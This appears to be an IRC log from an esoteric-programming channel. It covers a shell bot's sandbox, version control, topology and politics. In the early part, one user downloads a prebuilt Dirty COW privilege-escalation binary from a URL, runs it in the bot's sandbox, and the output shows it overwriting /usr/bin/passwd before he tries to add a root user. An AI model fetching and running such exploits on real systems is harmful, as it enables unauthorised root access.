19:16:44 <quinor> `` file /hackenv/bin/\`
19:16:45 <HackEgo> /hackenv/bin/`: Bourne-Again shell script, ASCII text executable
19:16:52 <quinor> `` cat /hackenv/bin/\`
19:16:53 <HackEgo> #!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooooooooodl
19:17:57 <Nistur> wob_jonas: is 3 the correct number of yaks to shave then also?
19:18:05 <quinor> `` cat "x" > /hackenv/bin/\`
19:18:07 <HackEgo> cat: x: No such file or directory
19:18:20 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:18:41 <quinor> `` ls|cat -> /hackenv/bin/\`
19:18:42 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:18:57 <quinor> `` cat /hackenv/bin/\`
19:18:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:10 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:19:20 <quinor> `` cat /hackenv/bin/\`
19:19:21 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:29 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:19:52 -!- ais523 has quit.
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19:20:07 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:20:13 <quinor> double tick does not work
19:20:16 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:20:18 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/`: Success
19:20:43 <quinor> yep, but I screwed up just a tiny bit
19:21:17 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: rv: not found
19:21:34 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ tmflry \ tmp \ wisdom
19:24:16 <quinor> `` cat /hackenv/bin/\`
19:24:17 <HackEgo> #!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnoooooodl
19:25:17 <HackEgo> (__) \ (oo) \ /------\/ \ / | || \ * /\---/\ \ ~~ ~~ \ ..."Have you mooed today?"...
19:25:41 <quinor> `` echo "this is only a test" > testfile
19:29:59 <HackEgo> cat: /etc/passwd: No such file or directory
19:30:09 <HackEgo> alternatives \ java-6-openjdk
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19:43:01 <moonythedwarf> https://gfycat.com/AstonishingFrequentDiscus <<< Beseige, the land of killer mathbooks
19:43:22 <HackEgo> setuid: /usr/share/man/man2/setuid.2.gz
19:44:08 <HackEgo> 22) PA ET ANNET UNIVERSET DER DE ENESTE PERSONEN OERJAN: <oerjan> sa jeg kan bare konkludere med at det er feil, eller er verden helt bonkers
19:44:09 <HackEgo> h heat for about 7 minutes. In a small saucepan, \ covered, for 6 to 7 minutes, add corn in the oil. Add the lemon juice \ and water in a double boiler or skillet. Spoon in the flour mixture \ to a boil. Drain the fruit. PLACE STEW ONCOAT. WITH COOKIES \ WITH THE LOW THE PAN. PER SERVING: 77g; PRO: 4g; MC \ : From oven the chilies. \ \ From
19:44:09 <HackEgo> links//links is one of the very few HTML renderers that doesn't try to store a full document tree with heavyweight objects for each node just in case javascript wants to modify it later, so it's the only engine that can render those HTMLs that are automatically converted from a PDF and put each letter in a separate element.
19:44:14 <HackEgo> Angelic Captain \ 3RW \ Creature -- Angel Ally \ 4/3 \ Flying \ Whenever Angelic Captain attacks, it gets +1/+1 until end of turn for each other attacking Ally. \ BFZ-R
19:44:25 <HackEgo> symcoin sonicoin jotcoin alfoncoin mingycoin arrocoin ecchilosophcoin arrcoin fhatefullycoin envercoin divincoin snardcoin eldocoin surfacoin duncoin rcecoin harrelacoin rasscoin encycoin braicoin
19:45:02 <wob_jonas> nah, I think that's my wisdom. retry
19:45:03 <HackEgo> elrond//Elrond is a rogue program originally created to police the Matrix, eventually gaining increased individuality and becoming a threat to the Machines themselves.
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19:45:31 <HackEgo> the five wisdoms//The first of the five wisdoms is that there is only one wisdom.
19:45:38 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø?
19:46:12 <quinor> `` file /usr/bin/passwd
19:46:12 <HackEgo> /usr/bin/passwd: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fbb01025248f78c897f7dd01f5c1b7bdff5ee6d2, stripped
19:46:21 <quinor> `` ls -la /usr/bin/passwd
19:46:22 <HackEgo> -rwsr-xr-x 1 0 0 54192 Feb 24 08:09 /usr/bin/passwd
19:46:48 <HackEgo> Linux umlbox 3.13.0-umlbox #1 Wed Jan 29 12:56:45 UTC 2014 x86_64 GNU/Linux
19:47:29 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:47:52 <HackEgo> 229) <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
19:47:52 <HackEgo> axiom of choice//The axiom of choice is equivalent to the Free Will Principle and Zeno's Lemma.
19:49:00 -!- hppavilion[0] has quit (Ping timeout: 240 seconds).
19:49:25 <quinor> `fetch of https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out
19:49:29 <HackEgo> 2017-04-17 18:48:58 URL:https://students.mimuw.edu.pl/~wj359634/files/dirtycow.out [19843/19843] -> "of" [1]
19:49:35 <HackEgo> of: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=fafa414f587cde321a646d38d3a818c127b89c02, not stripped
19:49:39 <HackEgo> chmod: missing operand after ‘+x of’ \ Try 'chmod --help' for more information.
19:50:23 <HackEgo> 5pEV4X5h \ bin \ canary \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ nasmbuild \ of \ paste \ ply-3.8 \ quines \ quotes \ share \ src \ test2 \ testfile \ tmflry \ tmp \ wisdom
19:50:39 <HackEgo> bash: cannot set terminal process group (-1): Inappropriate ioctl for device \ bash: no job control in this shell \ bash-4.3$
19:50:42 <quinor> moonythedwarf: it's dirty cow, supposed to elevate rights on unpatched kernel
19:51:25 <quinor> `` echo "whoami" | ./of
19:51:30 <HackEgo> whoami: cannot find name for user ID 5000 \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:51:58 <wob_jonas> quinor: put commands in ./bin unless there's a good reason not to
19:52:13 <wob_jonas> we like to keep the hackenv dir clear
19:52:15 <quinor> I wanna wipe it out when I'm done
19:52:31 <quinor> shall I make private dir?
19:52:45 <moonythedwarf> just remember the shell is not persistant, so your cd wont stick
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19:55:42 <moonythedwarf> quinor, btw, hackego has a compiler. it could compile what you need if its not too big
19:55:46 <HackEgo> gcc: fatal error: no input files \ compilation terminated.
19:55:51 <HackEgo> make: *** No targets specified and no makefile found. Stop.
19:56:06 <quinor> moonythedwarf: easier to paste it in
19:56:12 <quinor> `` echo "touch /hackenv/dupa" | ./quinor/of
19:56:19 <HackEgo> DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
19:56:35 <HackEgo> -rw-r--r-- 1 5000 0 0 Apr 17 18:55 dupa
19:57:40 <quinor> well you're obviously right
19:58:12 <moonythedwarf> dont think so actually. You'd have to ask Gregor how its set up, or check the UMLBox code (its available online)
19:59:34 <moonythedwarf> quinor, one attack surface foiled by good coding :P
20:00:04 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found
20:00:10 <HackEgo> total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:59 etc \ drwxr-xr-x 26 5000 5000 4096 Apr 17 18:59 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:59 home \ d
20:00:27 <HackEgo> useradd: /usr/sbin/useradd /usr/share/man/man8/useradd.8.gz
20:00:30 <HackEgo> adduser: /usr/sbin/adduser /usr/share/adduser /usr/share/man/man8/adduser.8.gz
20:00:51 <quinor> `` ls -l /usr/bin/useradd
20:00:52 <HackEgo> ls: cannot access /usr/bin/useradd: No such file or directory
20:01:21 <quinor> `` echo "ls -l /usr/bin/useradd" | ./quinor/of
20:01:24 <HackEgo> ls: cannot access /usr/bin/useradd: No such file or directory \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
20:02:05 <quinor> `` echo "ls -l /usr/sbin/useradd" | ./quinor/of
20:02:08 <HackEgo> -rwxr-xr-x 1 0 0 121536 Feb 24 08:09 /usr/sbin/useradd \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped
20:02:37 <quinor> `` echo "dupa" | passwd
20:02:38 <HackEgo> passwd: Cannot determine your user name.
20:02:39 <moonythedwarf> quinor, yup, you will never truely have root in UMLbox with a locked down user running it. Your dirty cow escalation just gives you said locked down user's perms, not root.
20:03:15 <quinor> can I add a user with uid 0 then?
20:04:01 <moonythedwarf> umlbox code is here: https://bitbucket.org/GregorR/umlbox/wiki/Home
20:05:10 <HackEgo> [wiki] [[A1]] M https://esolangs.org/w/index.php?diff=51758&oldid=51736 * Orby * (+43) /* Instructions */ adding note about timing
20:06:12 <HackEgo> /hackenv/bin/`: line 4: useradd: command not found
20:06:22 <quinor> `` /usr/sbin/useradd kaczor
20:06:33 <HackEgo> su: Cannot determine your user name.
20:06:45 <HackEgo> /etc/passwd: cannot open `/etc/passwd' (No such file or directory)
20:06:48 <moonythedwarf> quinor, you'd need to give yourself a username first.
20:07:47 <HackEgo> ls: cannot access /tmp/bak: No such file or directory
20:08:39 <HackEgo> total 0 \ drwxrwxrwt 2 0 0 40 Apr 17 19:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 19:08 ..
20:09:15 <HackEgo> /tmp/test: cannot open `/tmp/test' (No such file or directory)
20:10:03 <HackEgo> ls: cannot access /usr/tmp/bak: No such file or directory
20:10:23 <quinor> its readonly but no output on write try
20:10:50 <quinor> `` touch /tmp/test 2>&1 1>o
20:14:49 <fizzie> There's a non-versioned persistent directory at tmp/ (technically /hackenv/tmp) if you want to fiddle around without cluttering the history.
20:16:17 <moonythedwarf> quinor, ^ may want to do so, history doesnt like shenangins. Besides, i tried a dirty cow a long time ago.
20:17:19 <moonythedwarf> if you want something permanant, then dont use tmp.
20:17:56 <moonythedwarf> quinor, we have magical file syndrome that you will never delete. have fun.
20:18:31 <fizzie> /hackenv/tmp/ isn't really that hard to use until you want to move something out of there. If you never touch anything outside it, you don't get the consequences of the run-clean-rerun scheme.
20:19:01 <fizzie> Just don't try to "mv tmp/foo not-tmp/foo".
20:19:24 <HackEgo> mv: missing destination file operand after ‘tmp/foo foo’ \ Try 'mv --help' for more information.
20:19:35 <HackEgo> mv: cannot stat ‘tmp/foo’: No such file or directory
20:23:46 <HackEgo> [U+21E7 UPWARDS WHITE ARROW]
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20:26:00 <quinor> moonythedwarf: what a fun little sandbox
20:26:11 <quinor> there is some magic in it
20:34:49 <Nistur> Blugh. Why does my brain hate me?
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21:40:34 <\oren\> Argh if only svn log had a reverse order option I wouldn't have had to write a stupid perl script to do that
21:41:56 <zzo38> You could also see if tac will do?
21:45:34 <fizzie> \oren\: svn log -r 1:HEAD
21:46:05 <fizzie> May not be exactly equivalent to the default, but -r 1:HEAD and -r HEAD:1 seem to produce the same output except in mutually reversed order.
21:46:32 <HackEgo> 1/2:emac//emacs is the weird brother of nano. \ oklopol//oklopol "so i hear these blogs are getting popular, people like writing about their lives and shit. on this thing called the internet which is like a neural network only really stupid." \ infinitive//Infinitives are atomic verbs. They were first split in the 1940s, and the world has
21:46:35 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
21:46:43 <HackEgo> 2/2:n't looked back since. \ tdnh//tdnh does not help \ atrix//Atrix is a brand of hand cream. Not to be confused with atriq.
21:47:06 <HackEgo> 1/2:ß/ß/ is not a beat. Its' a "scahrfes S", aka s wiht a scraf. \ pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze//Pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze is the gerne of the Auotbahn alubm "Naeglbett" acocrding to htpt://thdeailywtf.co/maritcles/YoH-o%2cY-o-Ho2%c-A-iPra
21:47:29 <HackEgo> 2/2:tes-Lief-fo-rLee . \ enlgand//Enlgand is a cosnpiracy of catrographers. \ stduy//A stduy is motsly usleess unitl bakced up by futrher stduies. See stduies. \ xyzzy//Nohting happens.
21:47:43 <HackEgo> Studies show lots of things. Nobody reads them, though. Also: this study contradicts this other study. These two studies agree, but were secretly paid for by the same company.
21:48:06 <hppavilion[1]> Has a dedicated IDE for Fungeoids ever been written?
21:48:44 <HackEgo> 1/2:study//A study is mostly useless until backed up by further studies. See studies. \ dosh//The doshes are what the gostak distims. \ marriage//Marriage was made legal in the United States on 2015-06-26. \ copumpkin//copumpkin is categorically incapable of being president. \ glados//Hello, and again, welcome to the Aperture Science Comp
21:49:07 <\oren\> fizzie: oh... now why the heck isn't that documented in the output of svn help log...
21:49:14 <HackEgo> 2/2:uter Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave.
21:49:20 <shachaf> \oren\: you could also use git-svn hth
21:49:21 <hppavilion[1]> Like, to be useful, you'd need (1) a way to choose which direction you type- perhaps ctrl+<arrow key> makes your cursor move in that direction and (2), optionally, a way to rotate the display
21:49:43 <\oren\> shachaf: git is total crap in terms of useablity
21:50:28 <shachaf> at least it supports `git log --reverse` hth
21:50:39 <shachaf> Also I don't think git is that bad. It's pretty simple.
21:50:51 <shachaf> There are only a few dozen edge cases you have to memorize.
21:51:07 <shachaf> But if you prefer you can use hg-svn.
21:51:50 <\oren\> that is, a way to interact with git using the same centralized paradigm as svn
21:52:19 <zzo38> I prefer fossil myself.
21:57:03 <int-e> \oren\ comes across as a total asshole sometimes
21:57:05 <\oren\> I guess the ideal would be to have the simple commands and structure of svn and also have the *option* of local commits
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22:00:48 <\oren\> I don't see how wanting simple commands for the most common case, where there's a central repository thst everyone checks out and commits to, is so controversial
22:01:20 <shachaf> I think central repositories are pretty good.
22:01:43 <shachaf> And I think git could be adapted to better support that use case in a few ways.
22:02:17 <shachaf> But in general it's pretty agnostic to this question?
22:02:33 <shachaf> You should learn how it works because the model has all sorts of benefits and things.
22:02:48 <int-e> I think \oren\ wants a single command that does all of git pull; git commit -a; git push
22:03:42 <int-e> (plus some handling of merging?)
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22:05:11 <shachaf> fizzie: Should git/hg use FUSE as the standard way to access your repository?
22:06:10 <callforjudgement> shachaf: I can see using that to update the index (although you'd still want a git add -p equivalent), but it seems awkward from an interface point of view to do commits that way
22:06:18 <\oren\> why can't git have a command, like git ci -m "fixed the bug where the index was off by one"
22:06:45 <int-e> shachaf: hmm I'd be much worried about semantics...
22:06:48 <callforjudgement> perhaps commits could show up as directories and you'd do the equivalent of cp -r to make a commit?
22:06:57 <shachaf> I mean in addition to standard git commands, not replacing them.
22:07:34 <shachaf> For example you can have each branch be represented as a directory.
22:07:50 <int-e> shachaf: I can see a sane read semantics, which would be cute
22:07:56 <shachaf> cd master; ...; cd ../branch_one; ...
22:08:01 <int-e> but less sure about writing
22:08:25 <\oren\> ok how about git commit-to-central -m "fixed the bug" with short form git ctc
22:08:40 <shachaf> \oren\: What about sending your code for code review before committing?
22:09:00 <shachaf> I'm thinking of something similar to CitC, as briefly described in https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext
22:09:44 <\oren\> shachaf: do you do that with your personal github projects?
22:10:08 <shachaf> GitHub is a bad code review tool as far as I can tell.
22:10:13 <shachaf> I don't like GitHub very much.
22:10:20 <shachaf> Some people say it's gotten better. I haven't tried recently.
22:11:15 <shachaf> Anyway, if you have a big repository and you switch branches or something, it's a bit silly to write out a bunch of files to the filesystem.
22:11:26 <shachaf> Especially if you never use those files. Maybe you don't even need to fetch them from the remote!
22:11:58 <shachaf> Also, if you have a FUSE filesystem representing your repository, `git status` etc. can be instant because it knows about all the changes that have been made.
22:12:11 <shachaf> (I guess you could do something similar with inotify.)
22:12:23 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
22:12:30 <int-e> \oren\: you could have a look at https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools#Version_Control_Interface_layers and see if any of those alternative frontends fit your bill better
22:13:40 <zzo38> Not everyone is using GitHub, I think.
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22:23:46 * Zarutian wonders what a platonic liquid would look like.
22:24:37 <HackEgo> grep: invalid option -- ' ' \ Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information.
22:25:58 <int-e> Zarutian: well I'd try filling it into a Klein bottle.
22:25:58 <HackEgo> A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside.
22:26:21 <HackEgo> #! /bin/bash \ cd wisdom; shopt -s dotglob; grep -R "$@" -- *
22:26:26 <HackEgo> klein bottle:A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. \ tanebventions: math:Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, string diagrams, the reals, Lambek's lemma, Curry's paradox, algebraic geometry, locales, and histograms.
22:26:37 <HackEgo> Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
22:26:45 <HackEgo> Histograms are diagrams showing histamine levels. Taneb invented them.
22:27:04 <HackEgo> Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his coffee out of.
22:27:58 <int-e> ... oh I think I've got a handle on that wisdom entry.
22:28:02 <Taneb> Thanks for pinging me half a dozen times
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22:28:17 <int-e> Taneb: you're welcome
22:28:31 <Taneb> Fun fact: I don't drink coffee
22:29:31 <int-e> `slwd the torus//s/coffee/preferred beverage/
22:29:34 <HackEgo> the torus//Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his preferred beverage out of.
22:30:05 <shachaf> I have a double-walled tea glass.
22:30:09 <shachaf> What is that, topologically?
22:30:31 <int-e> Taneb: I think if I were you I'd ignore highlights coming from HackEgo :)
22:30:33 <Taneb> Does it have a handle
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22:30:57 <callforjudgement> shachaf: I suspect it's the genus-2 solid that's embeddable in normal Euclidean space (there's only one of them)
22:30:59 <Taneb> int-e, that's quite a good idea
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22:33:43 <\oren\> what would a torus with a torus removed from it be?
22:35:25 <\oren\> that is, an object with a toroid internal surface and toroid external surface, where the toroids can't be deformed into each other without passing through
22:36:23 <int-e> nothing, a torus, a sphere, a genus 2 or three thing, or a hollow torus?
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22:37:07 <\oren\> oh I see, genus is only applicable to surfaces, not the body contianed in the surface
22:37:13 <int-e> (that was before the clarification. not sure whether the hollow torus has a name)
22:37:43 <callforjudgement> int-e: well if you punch a hole in it, it /becomes/ a torus (topologically), which rather implies it has genus 0; and yet it isn't a sphere
22:38:32 <callforjudgement> I guess you can change the coordinate system so it's equivalent to a (non-zero-thickness) plane, so perhaps it /is/ a sphere
22:39:04 <int-e> (I'm thinking of the solids anyway, not the surfaces. so the genus 2/3 thing is the solid containd in the corresponding surface)
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22:39:43 <\oren\> I guess if something has two unconnected surfaces they have separate genera
22:39:48 <int-e> oh it could become two spheres as well, I missed that case.
22:41:43 <\oren\> so a double-walled tea mug might have an external surface with genus 1 and a internal surface with genus 1, 0 or quite possibly 2 if the bottom is unhollow and the handle is hollow
22:42:05 <int-e> actually I'm doing something funny... I'm looking at the difference of two rigit tori (defined by their euclidean geometry), topologically.
22:42:53 <int-e> but even so there are two ways of embedding a torus inside another...
22:46:13 -!- ybden has quit (Quit: ybden).
22:46:46 -!- ybden has joined.
22:47:25 <shachaf> are you related to ibsen twh
22:49:02 -!- boily has joined.
22:49:08 <\oren\> ok well, i guess the corresponding "genus" of a solid is the maximum number of surfaces you can cut it along befor it is disconnacted
22:49:35 <rdococ> `le//rn vm//VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding.
22:49:38 <HackEgo> Learned 'vm': VM stands for Virtual Manipulator. It is a tool used to manipulate Sims into doing your bidding.
22:51:00 <boily> he\\oren\, helloochaf, *mapole rdococ*.
22:51:45 * rdococ is sorry for being alive
22:51:51 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom.
22:51:54 <\oren\> so, if the internal surface of the mug has genus 0, you can do one cut (the handle) without disconnecting, so I think it has genus 1
22:52:54 <callforjudgement> do you have to go all the way through? or just cut one wall of the double-walled torus?
22:53:10 <callforjudgement> boily: this isn't even an abstraction level at which planes exist
22:53:30 <\oren\> I think it needs to be a surface all of whose edges are on a surface of the solid
22:54:01 <\oren\> so yeah I think ypu can cut jsut one wall
22:55:06 <callforjudgement> I don't think there's any way to even reach the inner cavity under those rules
22:55:30 <callforjudgement> unless you cut an annular hole in it, which feels like cheating in another way
22:56:13 <rdococ> Because I'm a failure.
22:56:38 <rdococ> I feel like all I am to this community is a nuisance.
22:57:08 <callforjudgement> rdococ: there's plenty of reasons I don't idle here very often, but you aren't one of htem
22:58:01 <\oren\> Hmm, I think you can cut along any connected surface where all edges are curves on one of the solid's surfaces
22:58:36 <callforjudgement> if you make an annular cut on a regular torus, you cut it into two pieces
22:58:46 <\oren\> I mean, if I have a knife and a tire I can slash around the edge of it
22:59:24 <rdococ> callforjudgement, if you knew me better, I would be.
22:59:29 <\oren\> callforjudgement: Oh. no, the cut has to be a connected surface
23:00:33 <\oren\> and yeah, a solid torus can be cut in two with one cut
23:01:00 <\oren\> but a hollow torus can be done in two cuts
23:01:51 <\oren\> because the first time you slit it open and form a solid torus
23:02:03 <callforjudgement> rdococ: I'm in a pretty bad state at the moment too; April tends to be a bad month for my mental state, and it's possible I'm ill with something
23:02:17 <callforjudgement> I feel really frustrated when I fail to accomplish anything even during a timespan as short as 2 days or so
23:02:27 <callforjudgement> and feel that I'm only just keeping up with my job and have no time for hobbies
23:02:45 <callforjudgement> but I'll snap out of it eventually, and whatever's holding you up, you're going to work things out too
23:02:45 <shachaf> They use up so much energy.
23:02:52 <\oren\> a lot of the people I know are really screwed with exams right now
23:03:07 <\oren\> I'm glad I'm in the workforce instead
23:03:43 <shachaf> The workforce is scow and so are exams.
23:03:57 <shachaf> How long are you planning to be in the workforce?
23:04:23 <Zarutian> rat race on an treadmill most work feels
23:04:36 <callforjudgement> earning money is nice, and I have a job that I can enjoy sometimes
23:04:48 -!- hppavilion[1] has quit (Ping timeout: 268 seconds).
23:05:14 * Zarutian is mostly peeved how expensive all housing is where he lives.
23:05:54 <\oren\> shachaf: at least until 2040?
23:06:40 <rdococ> I don't want to do either.
23:06:51 <\oren\> 2040 is when I estimate the pitchfork-weilding mobs will start lynching the people who replaced them with soulless androids
23:06:58 <rdococ> What has the human race done to themselves?
23:07:17 <rdococ> They treat their children like ****, they treat others like ****...
23:07:40 <shachaf> \oren\: So wouldn't you want to leave the workforce a while before then?
23:07:41 <\oren\> which I might end up being involved in, so I need to move to the moon or something
23:07:48 <callforjudgement> rdococ: well, if you're recognising the problem, then you being around makes things better on average
23:07:50 <shachaf> Then you can enjoy being part of the oppressing class.
23:08:03 <callforjudgement> leaving only the worst people around isn't going to fix anything
23:08:08 <rdococ> callforjudgement: I guess that is true.
23:08:21 -!- `^_^v has quit (Quit: This computer has gone to sleep).
23:08:40 <\oren\> I mean, I'm scared of jobless truckers with nothing to lose
23:08:51 -!- DHeadshot has joined.
23:09:09 <\oren\> and they'll be just the first to be replaced with AI
23:09:37 <callforjudgement> \oren\: at some point we're going to have to decouple income from jobs, most likely; as long as society has enough wealth total to provide for everyone – and automation shouldn't reduce that – it's simply a case of finding a fair way to distribute money in cases where we can't base it on work (because there isn't enough work)
23:10:07 <rdococ> Maybe income should be based on actual needs.
23:10:21 <\oren\> rdococ: you should read Das Kapital
23:10:26 <rdococ> If you don't want a lot, then you don't get a lot - it's fine, because that would be what you want.
23:10:52 <\oren\> the marxist slogan was "from each according to his ability, to each according to his needs"
23:11:08 <callforjudgement> my personal hope is that we end up advancing science and the like so far and so fast, that there's so much wealth to go around that everyone can have all they want, within reason
23:11:26 <shachaf> callforjudgement: What about people who want all of it?
23:11:40 <\oren\> and now I'll be accused of being a marxist instead of being accused of being an objectivist
23:12:00 <rdococ> What would be wrong with being a marxist?
23:12:06 <callforjudgement> shachaf: well if there are even two such people, it wouldn't work, therefore it's objectively an unreasonable request :-P
23:12:24 <\oren\> rdococ: nothing really...
23:12:28 <callforjudgement> rdococ: I wonder if \oren\ is American, marxists and objectivists are associated with different ends of the political spectrum there
23:12:30 * Zarutian notes that Karl Marx was a right-wing Socialist.
23:12:47 <shachaf> Are North Americans American?
23:12:56 <shachaf> Anyway, of course it's unreasonable.
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23:13:48 <rdococ> Zarutian: now that is kind of odd.
23:13:54 <\oren\> callforjudgement: I'm canadian. the context is that earlier in a discussion with rdococ, the idea that mandatory schooling is comparable to slavery came up and someone accused me of being a Ayn Rand zealot
23:14:29 <\oren\> I should find it in logs...
23:14:34 <rdococ> From communism's definition, you'd think it was more left-wing than right-wing.
23:14:48 <rdococ> (I know that, because I did think that.)
23:15:33 <Zarutian> rdococ: not so much when you look into history in detail. And please note right-wing is meant in the royalists|elite|centralizationist sense.
23:16:19 <rdococ> What we need is a left-winged version of communism.
23:17:21 <rdococ> Zarutian, depends what the original is, I guess.
23:17:32 <Zarutian> rdococ: decentralized co-operatives without coercion.
23:19:25 <rdococ> The word <communism> itself sounds like it comes from <community> - which wouldn't be a bad name for a left-wing ideology.
23:19:43 <\oren\> 16:05:16 <Phantom_Hoover> \oren\, fuck me are you an objectivist
23:19:54 <\oren\> 16:05:30 <\oren\> Phantom_Hoover: No, I'm a TROLL
23:20:58 <Zarutian> but then again communism got hi-jacked by persons like Lenin. Which is something of a problem that must be addressed. Basically how to defend against Cult Of Personality.
23:21:25 <rdococ> It still seems senseless that Marx was right-wing.
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23:22:15 <callforjudgement> Zarutian: this appears to be a problem for all forms of government, and finding a fix to it (that doesn't cause even worse problems as a side effect) would be very helpful to humanity in the future, I suspect
23:23:17 <rdococ> It's hard to come up with an original -ism.
23:23:58 <Zarutian> callforjudgement: well, something like psuedonymous liquid democracy where proposals can be submitted anonymously (yet still rate limited to prevent spamming) might be a tentative start.
23:26:14 <Zarutian> callforjudgement: basically let ideas, proposals and such battle unaided. Techniques for filtering or being at least aware of biases might be learned from lesswrong or other places that have studied applied cogniative techniques.
23:26:39 <callforjudgement> the problem is, what if a proposal ends up being blasted over the media or something like that?
23:27:17 <callforjudgement> or is worded to look good on the surface, but doesn't work if you think about it more deeply
23:27:31 <callforjudgement> or benefits the majority of people at the expense of a minority
23:28:17 <Zarutian> callforjudgement: this is why certain places of deep political discurse is not publically accessable or even known about.
23:28:57 <Zarutian> callforjudgement: basically, Speak Easies but for this kind of stuff.
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23:46:46 <HackEgo> tht//THT is short for tails-heads-tails, a possible outcome of flipping three coins. It's the opposite of HTH.
23:46:55 -!- hppavilion[1] has joined.
23:46:58 -!- boily has quit (Quit: VIEW CHICKEN).
23:47:29 <HackEgo> hth ([ʰtʰh̩]) is help received from a hairy toe. It is not at all hambiguitous.
23:47:54 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory
23:48:01 <HackEgo> hth means "hope that helps"
23:48:19 <rdococ> god help me, give me a better idea for esostuff
23:48:40 <rdococ> I did have the idea of a sound chip that could only produce sine waves
23:48:57 <rdococ> maybe it could go with Teriyaki?
23:49:33 <Zarutian> rdococ: I propose that chip or functionality to be named SINfull
23:50:15 * rdococ has lost the plot today :P
